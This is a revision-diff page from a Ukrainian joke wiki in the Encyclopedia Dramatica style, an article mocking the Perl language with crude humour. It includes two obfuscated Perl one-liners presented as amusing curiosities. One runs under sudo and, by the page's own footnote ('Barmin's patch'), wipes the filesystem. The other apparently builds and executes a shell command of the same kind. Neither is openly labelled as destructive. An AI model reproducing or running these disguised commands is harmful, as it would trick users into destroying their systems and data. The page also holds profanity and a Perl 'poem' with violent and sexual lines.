Енциклопедія Драматика:Інкубатор/Perl: відмінності між версіями
Перейти до навігації
Перейти до пошуку
(Переніс з Файної Меморії.) |
MiskoGe (обговорення | внесок) м (MiskoGe перейменував сторінку з Perl на Енциклопедія Драматика:Інкубатор/Perl) |
||
| (Не показані 6 проміжних версій 3 користувачів) | |||
| Рядок 1: | Рядок 1: | ||
{{ | {{Матеріал}} | ||
'''Perl''' — скриптова мова програмування, яка на [[95%]] складається з регекспів. Створений Ларрі Уоллом. | '''Perl''' — скриптова мова програмування, яка на [[95%]] складається з регекспів. Створений Ларрі Уоллом. Вштирює не гірше [[брейнфак]]у. | ||
== Недоліки == | == Недоліки == | ||
*Perl з легкістю інтерпретує такий код:<br /> | *Perl з легкістю інтерпретує такий код:<br /> | ||
< | <syntaxhighlight lang="Perl"> `$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=( | ||
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | $!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++; | ||
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | $_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++ | ||
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`</ | ;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=` </syntaxhighlight> | ||
або | або | ||
<syntaxhighlight lang="Perl">echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|} | |||
< | <&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' </syntaxhighlight> | ||
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'</ | |||
<ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | <ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref> | ||
*Має майже [[C| | *Має майже "[[C|сюшний]]" синтаксис. | ||
*OMFG, він інтерпретує навіть вірші: | *OMFG, він інтерпретує навіть вірші: | ||
<syntaxhighlight lang="Perl">BEFOREHEAD: close door, each window & exit; wait until time. | |||
open spellbook, study, read (scan, select, tell us); | open spellbook, study, read (scan, select, tell us); | ||
write it, print the hex whole each watches, | write it, print the hex whole each watches, | ||
| Рядок 42: | Рядок 40: | ||
wait until next year, next decade; | wait until next year, next decade; | ||
sleep, sleep, die yourself, | sleep, sleep, die yourself, | ||
die at last | die at last</syntaxhighlight> | ||
== Переваги == | == Переваги == | ||
*На Перл можна писати навіть якщо його не знаєш.<ref> Йобнись головою об клаву і виконай.</ref> | *На Перл можна писати, навіть якщо його не знаєш.<ref> Йобнись головою об клаву і виконай.</ref> | ||
== Посилання == | == Посилання == | ||
[http://www.perl.com Офіційний сайт] | [http://www.perl.com Офіційний сайт] | ||
*{{ED|Perl|Англомовна Драматика про сабж}} | |||
== Примітки == | *{{EngWiki|Perl|Англомовна Педівікія про сабж}} | ||
*{{UkrWiki|Perl|Українська Педівікія про сабж}} | |||
== Примітки== | |||
{{reflist}} | {{reflist}} | ||
{{Айті}} | {{Айті}} | ||
Поточна версія на 22:53, 14 липня 2021
|
Perl — скриптова мова програмування, яка на 95% складається з регекспів. Створений Ларрі Уоллом. Вштирює не гірше брейнфаку.
Недоліки
- Perl з легкістю інтерпретує такий код:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`
або
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
- Має майже "сюшний" синтаксис.
- OMFG, він інтерпретує навіть вірші:
BEFOREHEAD: close door, each window & exit; wait until time.
open spellbook, study, read (scan, select, tell us);
write it, print the hex whole each watches,
reverse its length, write again;
kill spiders, pop them, chop, split, kill them.
unlink arms, shift, wait & listen (listening, wait),
sort the flock (then, warn the "goats" & kill the "sheep");
kill them, dump qualms, shift moralities,
values aside, each one;
die sheep! die to reverse the system
you accept (reject, respect);
next step,
kill next sacrifice, each sacrifice,
wait, redo ritual until "all the spirits are pleased";
do it ("as they say").
do it(*everyone***must***participate***in***forbidden**s*e*x*).
return last victim; package body;
exit crypt (time, times & "half a time") & close it,
select (quickly) & warn your next victim;
AFTERWORDS: tell nobody,
wait, wait until time;
wait until next year, next decade;
sleep, sleep, die yourself,
die at last
Переваги
- На Перл можна писати, навіть якщо його не знаєш.[2]
Посилання
Примітки
- ↑ Це патч Барміна. Якщо ти його запустив, мені тебе жаль.
- ↑ Йобнись головою об клаву і виконай.
| |||||||||||||||||||